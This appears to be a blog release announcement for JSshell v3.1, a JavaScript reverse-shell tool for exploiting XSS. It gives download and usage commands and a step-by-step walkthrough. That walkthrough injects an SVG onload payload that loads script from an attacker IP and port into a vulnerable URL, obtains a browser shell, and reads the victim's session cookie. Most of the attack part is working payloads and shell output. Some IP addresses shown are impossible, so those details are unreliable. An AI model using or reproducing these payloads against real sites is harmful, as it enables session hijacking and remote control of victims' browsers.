JSshell v3.1 releases: JavaScript reverse shell for exploiting XSS remotely or finding blind XSS

by do son · Published May 18, 2020 · Updated December 3, 2020

JSshell

JSshell – a JavaScript reverse shell. This using to exploit XSS remotely, help to find blind XSS, …

This tool works for both Unix and Windows operating systems and it can be running with both Python 2 and Python 3. This is a big update of JShell – a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn’t require Netcat (different from other javascript shells).

New in JSshell version 3.1

Updated in the new version of JShell 3.1:

New JSshell command: snippet -> allows to write a snippet of javascript code

>>> snippet

Use CTRL+C to finish the snippet



function new() {

    new = 'New update: Support javascript snippet =)';

    confirm(new)

}



new()

>>>

Quiet mode (for professionals)
- Added <body> reverse shell payload
Fixed some bugs

Download

git clone https://github.com/shelld3v/JSshell.git

Use

Generate JS reverse shell payload: -g

Set the local port number for listening and generating payload (By default, it will be set to 4848): -p

Set the local source address for generating payload (JSshell will detect your IP address by default): -s

Set timeout for shell connection (if the user exit page, the shell will be a pause, and if your set the timeout, after a while without response, the shell will automatically close): -w

Execute a command when got the shell: -c

Example usages:

js.py
js.py -g
js.py -p 1234
js.py -s 48.586.1.23 -g
js.py -c "alert(document.cookie)" -w 10

An example of running JSshell:

This is an example of a step-by-step to exploit remote XSS using JSshell.

First, we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:

~# whoami

root

~# ls

README.md   js.py

~# python3 js.py -g -w 20

    __

  |(_  _ |_  _  |  |

\_|__)_> | |(/_ |  |

                      v1.0



Payload:

<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>



Listening on [any] 4848 for incoming JS shell ...

Now paste this payload to the website (or URL) that vulnerable to XSS:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement(“script”)).src=”//171.224.181.106:4848″},1248)>

Access the page and now we will see that we have got the reverse JS shell:

    __

  |(_  _ |_  _  |  |

\_|__)_> | |(/_ |  |

                      v1.0



Payload:

<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>



Listening on [any] 4848 for incoming JS shell ...

Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848

$ established

$ the

$ shell

$

$

$ help

JSshell using javascript code as shell commands. Also supports some commands:

help                  This help

exit, quit            Exit the JS shell

$

Now let’s execute some commands:

$ var test = 'hacked'

$ alert(hacked)

$

And the browser got an alert: hacked

$ prompt(document.cookie)

$

And the browser print the user cookies: JSESSION=3bda8…

$ exit

~# whoami

root

~# pwd

/home/shelld3v

~#

And we quited!

Author: shelld3v

JSshell v3.1 releases: JavaScript reverse shell for exploiting XSS remotely or finding blind XSS

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